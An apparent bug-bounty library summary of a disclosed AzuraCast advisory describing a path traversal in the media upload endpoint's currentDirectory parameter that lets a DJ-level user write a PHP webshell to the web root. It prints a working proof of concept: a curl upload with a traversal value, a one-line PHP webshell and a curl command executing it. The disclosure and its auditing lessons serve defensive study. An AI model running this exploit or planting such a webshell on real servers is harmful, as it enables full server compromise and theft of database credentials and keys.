# AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload

Unsantized currentDirectory in AzuraCast Flow.js upload endpoint allows authenticated DJ to traverse paths and write a PHP webshell to web root, achieving RCE.

- Payout: Research
- Severity: high
- Program: AzuraCast
- Found by: offset
- Disclosed: 2026-05-04
- CVE: CVE-2026-42605
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vp2f-cqqp-478j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vp2f-cqqp-478j
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** Flow.js media upload endpoint (POST /api/station/{id}/files/upload)
**Root cause:** currentDirectory param is prepended to the already-sanitized filename after filterClientPath(), reintroducing traversal; LocalFilesystem::upload() concatenates paths without normalization and copy() resolves ../.
**Steps:**
1. Authenticate with an API key holding StationPermissions::Media (DJ-level).
2. POST to `/api/station/1/files/upload` with multipart fields `flowFilename=shell.php`, `currentDirectory=../../../../../var/azuracast/www/public`, and `file_data=@shell.php` containing `<?php system($_GET['cmd']); ?>`.
3. Upload returns an error (php not processable) but the `finally` block's `uploadAndDeleteOriginal` already copied the file to the traversed path.
4. Request `http://localhost/shell.php?cmd=id` to execute commands as the azuracast user.
**How found:** Code review: noticed filename sanitization via filterClientPath() but currentDirectory prepended afterward, and that the finally block writes regardless of MIME validation; traced LocalFilesystem::upload() to PathPrefixer concatenation bypassing WhitespacePathNormalizer.
**Exploitation:** Authenticated DJ uploads a .php file with a traversal currentDirectory; MIME validation throws CannotProcessMediaException but the finally block still writes the file via LocalFilesystem::upload()/copy(), placing a webshell in the web root for command execution.
**Escalation:** DJ-level media permission escalates to full server compromise; can read DB credentials/API keys and potentially escalate to root.
**Insight:** When a path is built from multiple user inputs, check whether sanitization happens before or after concatenation; also audit finally blocks that perform writes even when validation throws, and Flysystem local uploads that bypass the normalizer used by writeStream().

## Proof of concept (copied exactly from the original report)

**curl upload with traversal currentDirectory**

```
curl -X POST "http://localhost/api/station/1/files/upload" \
  -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
  -F "flowTotalChunks=1" \
  -F "flowChunkNumber=1" \
  -F "flowCurrentChunkSize=44" \
  -F "flowTotalSize=44" \
  -F "flowIdentifier=abc123" \
  -F "flowFilename=shell.php" \
  -F "currentDirectory=../../../../../var/azuracast/www/public" \
  -F "file_data=@shell.php"
```

**PHP webshell payload**

```
<?php system($_GET['cmd']); ?>
```

**curl executing webshell command**

```
curl "http://localhost/shell.php?cmd=id"
```

